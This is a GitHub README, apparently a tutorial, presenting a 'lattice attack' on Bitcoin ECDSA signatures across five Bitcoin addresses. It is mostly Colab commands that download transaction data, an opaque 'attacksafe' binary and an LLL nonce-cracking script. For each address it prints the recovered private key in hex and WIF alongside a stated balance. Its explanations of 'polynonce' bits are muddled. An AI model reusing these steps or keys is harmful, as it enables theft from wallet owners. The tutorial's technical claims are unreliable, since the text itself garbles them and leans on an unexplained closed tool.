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https://github.com/demining/lattice-attack-249bits

LATTICE ATTACK 249bits we solve the problem of hidden numbers using 79 signatures ECDSA
https://github.com/demining/lattice-attack-249bits

attack attacker bitcoin cryptocurrency cryptography ecdsa ecdsa-cryptography ecdsa-signature hack hacking lattice lattice-attack

Last synced: 2 days ago
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LATTICE ATTACK 249bits we solve the problem of hidden numbers using 79 signatures ECDSA

Host: GitHub
URL: https://github.com/demining/lattice-attack-249bits
Owner: demining
Created: 2023-10-01T08:29:35.000Z (about 1 year ago)
Default Branch: main
Last Pushed: 2023-10-01T12:57:57.000Z (about 1 year ago)
Last Synced: 2023-10-02T09:55:06.626Z (about 1 year ago)
Topics: attack, attacker, bitcoin, cryptocurrency, cryptography, ecdsa, ecdsa-cryptography, ecdsa-signature, hack, hacking, lattice, lattice-attack
Language: HTML
Homepage: https://cryptodeeptech.ru/lattice-attack-249bits
Size: 14.3 MB
Stars: 1
Watchers: 1
Forks: 0
Open Issues: 0
Metadata Files:
- Readme: README.md

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README

        









---

* Tutorial: https://youtu.be/CzaHitewN-4

* Tutorial: https://cryptodeeptech.ru/lattice-attack-249bits

---

In our earliest work, we published an article on the topic “LATTICE ATTACK” as a complete solution to the HNP [Hidden Number Problem] , but with the recent emergence of a new attack “POLYNONCE ATTACK” , we decided to supplement the article using 79 signatures ECDSA.


Based on the previous article, where we took the polynomial 128 bitsand with the actual increase in the number of signatures, we will bring the value of the polynomial to 249 bits.




All we need is to solve the problem of hidden numbers.













In this article, we will analyze five independent examples of cryptanalysis of the Bitcoin blockchain. All examples will be uploaded to the GitHub repository .





For a theoretical basis, we will take materials:


“Lattice Attack on Bitcoin”




https://attacksafe.ru/lattice-attack-on-bitcoin







Consider an example with a Bitcoin Address:



19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z




6a941396b28a72ac834d922165995e6685a760f884dbb9e8b6dea95b01f0aae8






RawTX






"hex": 010000000afa0765dc83c2e04b53a03ad9f5e7603f974c5a70e7a486bc957e72809facab7b2d0000006a4730440220746bd0443317a77c069bddae306dc658ec740bb1a6312bdcb4ce666bae42e988022066c34dd48f0e34ae4aefd28564f46fb7473d0b49d55adb716b9f04e663d0a9890121033ee89b98b1d6e71285314e1d1c753003a7a80c17f46146a91077006c76e25e7affffffff................................






Let’s go to the official website:  https://colab.research.google.com






Select the option  “Upload notebook”



















Download the file: LATTICE_ATTACK_249bits.ipynb

















Download HEXthe data through the utility wget and save it to a file: RawTX.txt



!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example1/HEX.txt








Let’s run the code and get the bits we needRawTX



with open("HEX.txt") as myfile:

    listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)

f = open("RawTX.txt", 'w')

f.write("" + listfile + "" + "\n")

f.close()










To implement the attack, we will use the software


 “ATTACKSAFE SOFTWARE”




www.attacksafe.ru/software



Access rights:


!chmod +x attacksafe




ls












Application:


!./attacksafe -help








  -version:  software version 

  -list:     list of bitcoin attacks

  -tool:     indicate the attack

  -gpu:      enable gpu

  -time:     work timeout

  -server:   server mode

  -port:     server port

  -open:     open file

  -save:     save file

  -search:   vulnerability search

  -stop:     stop at mode

  -max:      maximum quantity in mode

  -min:      minimum quantity per mode

  -speed:    boost speed for mode

  -range:    specific range

  -crack:    crack mode

  -field:    starting field

  -point:    starting point

  -inject:   injection regimen

  -decode:   decoding mode




!./attacksafe -version








Version 5.3.4. [ATTACKSAFE SOFTWARE, © 2023]




"ATTACKSAFE SOFTWARE" includes all popular attacks on Bitcoin.



Let’s run a list of all attacks:


!./attacksafe -list










Let’s choose -tool: lattice_attack




To get a specific HEXvalue R,S,Zfor the signature ECDSA, we previously added data  RawTX through the utility echoto a text document and saved it as a file RawTX.txt











Launch  -tool lattice_attack using software “ATTACKSAFE SOFTWARE”





!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv










We launched this attack from  -tool lattice_attack and the result was saved to a file SignatureRSZ.csv


Now to see the successful result, open the file SignatureRSZ.csv












In order to calculate the private key to a Bitcoin Wallet from a file,  SignatureRSZ.csvwe will install SageMath


















Earlier we published an article , download  tar-file:  sage-9.3-Ubuntu_20.04-x86_64.tar.bz2





!wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2

!tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2












Let’s go through the directory:



cd SageMath/




ls














Run  relocate-once.py  with the command:Python-script: 



!python3 relocate-once.py












Move "AttackSafe"to "SignatureRSZ.csv"folder"SageMath"



!mv '/content/attacksafe' '/content/SageMath/attacksafe'

!mv '/content/SignatureRSZ.csv' '/content/SageMath/SignatureRSZ.csv'










ls












Download the script crack_weak_ECDSA_nonces_with_LLL.py from Dario Clavijo through the utility wget



!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/crack_weak_ECDSA_nonces_with_LLL.py












Now let’s run  SageMath the command:





!./sage -sh












To calculate the private key to the Bitcoin Wallet, run the script crack_weak_ECDSA_nonces_with_LLL.py specifying the parameters249 bits 79 sign



python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt




cat PrivateKey.txt














Let’s open the file:PrivateKey.txt



We received the private key to the Bitcoin Wallet in HEXthe format








PrivKey = 0x9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941




Check POLYNONCE for each ECDSA signature




To do this, use the code from GITHUB





https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example1/POLYNONCE.py



Result:










We got 79 identical original bits from249





Thanks to the value on the secp256k1 curve from  Hal Finney,   LAMBDA and BETA revealed the same initial bits to us. The value POLYNONCEin the format HEXallows us to fully solve the problem of hidden numbers, get a private key and restore a Bitcoin Wallet.




Let’s check the HEX of the private key:




Install the modulebitcoin



!pip3 install bitcoin












Let’s run the code:



from bitcoin import *

with open("PrivateKey.txt","r") as f:

    content = f.readlines()

content = [x.strip() for x in content]

f.close()

outfile = open("PrivateKeyAddr.txt","w")

for x in content:

  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")

 

outfile.close()














Let’s open the file:PrivateKeyAddr.txt





9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941:19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z





Let’s open  bitaddress  and check:


ADDR: 19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z

WIF:  L2PhDrYZw6fWqeLZMnMeAXvxZ47MEnepaQVLL2EazbRhqesytoQB

HEX:  9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941










https://www.blockchain.com/en/explorer/addresses/btc/19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z






















BALANCE: $ 1015.58




Let’s look at other examples:




№2






Consider example #2 with a Bitcoin Address:



1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z




9130c5b8e92f37d3a58dcae16daa27625cc52b698a83af7c8b891f01bfa0b2af










RawTX










"hex": 0100000041e981df9d37a7af6f5ee77abade3ec58acbf864f942bdecb63ea2efa593e2c3391f0000006b4830450221009d8ceef05e2fa0a623811df57265a3678f902e81dc82c3862d12bbb07b90de18022036bbed961b4f8665eb3fb3047a1398a1aeae519a8e2a1a97de57863fc0cc4a380121029755a17bf76237cde9e05fc333a255b926d526a7763abe725a4f6253ebdae109ffffffff..............................

 






Let’s remove the files from the first example:



!rm HEX.txt

!rm RawTX.txt

!rm NoncesHEX.txt

!rm PrivateKey.txt

!rm SignatureRSZ.csv

!rm PrivateKeyAddr.txt












Download  HEXthe data through the utility  wget and save it to a file:  RawTX.txt



!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example2/HEX.txt












Let’s run the code and get the bits we need RawTX



with open("HEX.txt") as myfile:

    listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)

f = open("RawTX.txt", 'w')

f.write("" + listfile + "" + "\n")

f.close()










Launch  -tool lattice_attack using software “ATTACKSAFE SOFTWARE”





!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv










We launched this attack from  -tool lattice_attack and the result was saved to a file SignatureRSZ.csv


Now to see the successful result, open the file SignatureRSZ.csv














Let’s run  SageMath the command:





!./sage -sh












To calculate the private key to the Bitcoin Wallet, run the script  crack_weak_ECDSA_nonces_with_LLL.py  specifying the parameters 249 bits 79 sign



python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt




cat PrivateKey.txt














Let’s open the file: PrivateKey.txt



We received the private key to the Bitcoin Wallet in  HEX the format








PrivKey = 0x00db251a1ab7cfa7679dfe61271d0af4bb9c68595178cf4c9237478eab2dba1d




Check POLYNONCE for each ECDSA signature




To do this, use the code from GITHUB





https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example2/POLYNONCE.py



Result:










We got 79 identical original bits from249





Thanks to the value on the secp256k1 curve from  Hal Finney,   LAMBDA and BETA revealed the same initial bits to us. The value POLYNONCEin the format HEXallows us to fully solve the problem of hidden numbers, get a private key and restore a Bitcoin Wallet.




Let’s check the HEX of the private key:




Let’s run the code:



from bitcoin import *

with open("PrivateKey.txt","r") as f:

    content = f.readlines()

content = [x.strip() for x in content]

f.close()

outfile = open("PrivateKeyAddr.txt","w")

for x in content:

  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")

 

outfile.close()














Let’s open the file: PrivateKeyAddr.txt











Let’s open  bitaddress  and check:


ADDR: 1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z

WIF:  KwFNhRPDpgD5X77T8x5oL628aHh9UtscwwrLjGBKE8NeLshYvAqC

HEX:  00db251a1ab7cfa7679dfe61271d0af4bb9c68595178cf4c9237478eab2dba1d










https://www.blockchain.com/en/explorer/addresses/btc/1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z






















BALANCE: $ 999.10




Let’s look at other examples:




№3






Consider example #3 with a Bitcoin Address:



18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz




0b21368bb6e6658adf4079b5ca6e7286c6e13471acef879168e7c17809476c76










RawTX










"hex": 0100000041c7a8d97168ee154550f5e43b9074e5f357a4dc6b2350c96f75e377df0a39b9fa210000006b48304502210097d6b896929d77634b8d9430bc2842209cad42bb236c408e18470b9fd86b3d6a0220684ac14228c4adaa9df819e7fc8e82cf3c4242b74e27f5dd190d63231e8a058a012102990a280aef14e545b9b076b6548a4e886476d967e447bb69efcf0b725efda04effffffff..............................






Let’s remove the files from the second example:



!rm HEX.txt

!rm RawTX.txt

!rm NoncesHEX.txt

!rm PrivateKey.txt

!rm SignatureRSZ.csv

!rm PrivateKeyAddr.txt












Download  HEX the data through the utility  wget and save it to a file:  RawTX.txt



!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example3/HEX.txt












Let’s run the code and get the bits we need RawTX



with open("HEX.txt") as myfile:

    listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)

f = open("RawTX.txt", 'w')

f.write("" + listfile + "" + "\n")

f.close()










Launch  -tool lattice_attack using software “ATTACKSAFE SOFTWARE”





!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv










We launched this attack from  -tool lattice_attack and the result was saved to a file SignatureRSZ.csv


Now to see the successful result, open the file SignatureRSZ.csv














Let’s run  SageMath the command:





!./sage -sh












To calculate the private key to the Bitcoin Wallet, run the script  crack_weak_ECDSA_nonces_with_LLL.py  specifying the parameters 249 bits 79 sign



python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt




cat PrivateKey.txt














Let’s open the file: PrivateKey.txt



We received the private key to the Bitcoin Wallet in  HEX the format








PrivKey = 0x80e3052532356bc701189818c095fb8a7f035fd7a5a96777df4162205e945aa5




Check POLYNONCE for each ECDSA signature




To do this, use the code from GITHUB





https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example3/POLYNONCE.py



Result:










We got 79 identical original bits from249





Thanks to the value on the secp256k1 curve from  Hal Finney,   LAMBDA and BETA revealed the same initial bits to us. The value POLYNONCEin the format HEXallows us to fully solve the problem of hidden numbers, get a private key and restore a Bitcoin Wallet.




Let’s check the HEX of the private key:




Let’s run the code:



from bitcoin import *

with open("PrivateKey.txt","r") as f:

    content = f.readlines()

content = [x.strip() for x in content]

f.close()

outfile = open("PrivateKeyAddr.txt","w")

for x in content:

  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")

 

outfile.close()














Let’s open the file: PrivateKeyAddr.txt











Let’s open  bitaddress  and check:


ADDR: 18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz

WIF:  L1YFTAP2X6jhi9W6ZVy2xX8H89TYwZcgSKcPLX7NmAx3n8PjqDkU

HEX:  80e3052532356bc701189818c095fb8a7f035fd7a5a96777df4162205e945aa5










https://www.blockchain.com/en/explorer/addresses/btc/18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz


















BALANCE: $ 1023.25




№4






Consider example #4 with a Bitcoin Address:



12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor




6e6d84bc92cd79fba2d1eee5fb47e393896d44f666a50d4948a022751e3f0989










RawTX










"hex": 01000000418ff67c7d3309211ab9d9629d97bbac7730d3cbb419df4ec43d2c5fc4f81bbefb1b0000006b4830450221008c223861acf1f265547eddb04a7cf98d206643a05824e56e97c70beddd18eaf20220139a34bf077a1fdb15e716d765955203e746616dfe8bf536b86d259b5c8a09b8012103c50b5619a40a23ff6a5510238405b8efd3f8f1bc442e1a415b25078b4cbd88e3ffffffff..............................






Let’s remove the files from the second example:



!rm HEX.txt

!rm RawTX.txt

!rm NoncesHEX.txt

!rm PrivateKey.txt

!rm SignatureRSZ.csv

!rm PrivateKeyAddr.txt












Download  HEX-data through the utility  echo and save to file:  RawTX.txt Download  HEX-data through the utility  wget and save to file:  RawTX.txt



!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example4/HEX.txt












Let’s run the code and get the bits we need RawTX



with open("HEX.txt") as myfile:

    listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)

f = open("RawTX.txt", 'w')

f.write("" + listfile + "" + "\n")

f.close()










Launch  -tool lattice_attack using software “ATTACKSAFE SOFTWARE”





!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv










We launched this attack from  -tool lattice_attack and the result was saved to a file SignatureRSZ.csv


Now to see the successful result, open the file SignatureRSZ.csv














Let’s run  SageMath the command:





!./sage -sh












To calculate the private key to the Bitcoin Wallet, run the script  crack_weak_ECDSA_nonces_with_LLL.py  specifying the parameters 249 bits 79 sign



python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt




cat PrivateKey.txt














Let’s open the file: PrivateKey.txt



We received the private key to the Bitcoin Wallet in  HEX the format








PrivKey = 0x9e636a4ef1a63c4bd385b8d26d29f6394a29963f12109dbf34fef74377866a32




Check POLYNONCE for each ECDSA signature




To do this, use the code from GITHUB





https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example4/POLYNONCE.py



Result:










We got 79 identical original bits from249





Thanks to the value on the secp256k1 curve from  Hal Finney,   LAMBDA and BETA revealed the same initial bits to us. The value POLYNONCEin the format HEXallows us to fully solve the problem of hidden numbers, get a private key and restore a Bitcoin Wallet.




Let’s check the HEX of the private key:




Let’s run the code:



from bitcoin import *

with open("PrivateKey.txt","r") as f:

    content = f.readlines()

content = [x.strip() for x in content]

f.close()

outfile = open("PrivateKeyAddr.txt","w")

for x in content:

  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")

 

outfile.close()










Let’s open the file: PrivateKeyAddr.txt











Let’s open  bitaddress  and check:


ADDR: 12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor

WIF:  L2Xbaxg8QFoLn5URp7GKMyLwEN9dV5TtgpdbXYo7WDJsHZLcT898

HEX:  9e636a4ef1a63c4bd385b8d26d29f6394a29963f12109dbf34fef74377866a32










https://www.blockchain.com/en/explorer/addresses/btc/12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor


















BALANCE: $ 406.03




№5






Consider example #5 with a Bitcoin Address:



1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN




8a00ad0cc10d768d6d2b407f99879e556e5fc2917b619cb9a551675b7682a791










RawTX












"hex": "01000000fdf4014f7e4a72ecb9a3ed21a82a42b3127da87bdfee7c10779688dd8a38977cb80ece000000006a4730440220423f7cffadd494fb0148d509e67598b3c8d7f54695ee3830184adc2af234d5cf022005ebe83773bc81c7131fd0580350a998adde20fee6fd2d1da40a0191fea8242c0121027a2250a80a31965e928afff97d1c713e7ce70e6eb7c7491404a79991bfc6b5c1ffffffff...........................






Let’s remove the files from the second example:



!rm HEX.txt

!rm RawTX.txt

!rm NoncesHEX.txt

!rm PrivateKey.txt

!rm SignatureRSZ.csv

!rm PrivateKeyAddr.txt












Download  HEXthe data through the utility  wget and save it to a file:  RawTX.txt



!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example5/HEX.txt












Let’s run the code and get the bits we need RawTX



with open("HEX.txt") as myfile:

    listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)

f = open("RawTX.txt", 'w')

f.write("" + listfile + "" + "\n")

f.close()










Launch  -tool lattice_attack using software “ATTACKSAFE SOFTWARE”





!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv










We launched this attack from  -tool lattice_attack and the result was saved to a file SignatureRSZ.csv


Now to see the successful result, open the file SignatureRSZ.csv














Let’s run  SageMath the command:





!./sage -sh












To calculate the private key to the Bitcoin Wallet, run the script  crack_weak_ECDSA_nonces_with_LLL.py  specifying the parameters 249 bits 79 sign



python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt




cat PrivateKey.txt














Let’s open the file: PrivateKey.txt



We received the private key to the Bitcoin Wallet in  HEX the format








PrivKey = 0xe2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2




Check POLYNONCE for each ECDSA signature




To do this, use the code from GITHUB





https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example5/POLYNONCE.py



Result:










We got 79 identical original bits from249





Thanks to the value on the secp256k1 curve from  Hal Finney,   LAMBDA and BETA revealed the same initial bits to us. The value POLYNONCEin the format HEXallows us to fully solve the problem of hidden numbers, get a private key and restore a Bitcoin Wallet.




Let’s check the HEX of the private key:




Let’s run the code:



from bitcoin import *

with open("PrivateKey.txt","r") as f:

    content = f.readlines()

content = [x.strip() for x in content]

f.close()

outfile = open("PrivateKeyAddr.txt","w")

for x in content:

  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")

 

outfile.close()














Let’s open the file: PrivateKeyAddr.txt





e2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2:1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN





Let’s open  bitaddress  and check:


ADDR: 1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN

WIF:  L4porgUmuBkMbATA6Pp7r8uqShFt2zTPNEfuPNYi1BCym4hhV8gs

HEX:  e2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2










https://www.blockchain.com/en/explorer/addresses/btc/1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN






















BALANCE: $ 995.39




Literature:




Lattice Attacks against Elliptic-Curve Signatures with Blinded Scalar Multiplication Dahmun Goudarzi , Matthieu Rivain , and Damien Vergnaud CryptoExperts, Paris, France





Biased Nonce Sense: Lattice Attacks against Weak ECDSA Signatures in Cryptocurrencies Joachim Breitner and Nadia Heninger DFINITY Foundation, Zug University of California, San Diego


Return of the Hidden Number Problem A Widespread and Novel Key Extraction Attack on ECDSA and DSA Keegan Ryan


Minerva: The curse of ECDSA nonces Systematic analysis of lattice attacks on noisy leakage of bit-length of ECDSA nonces Ján Jančár , Vladimír Sedláček , Petr Švenda and Marek Sýs Masaryk University, Ca’ Foscari University of Venice


Estimating the Effectiveness of Lattice Attacks Kotaro Abe and Makoto Ikeda School of Engineering, The University of Tokyo, Tokyo, Japan





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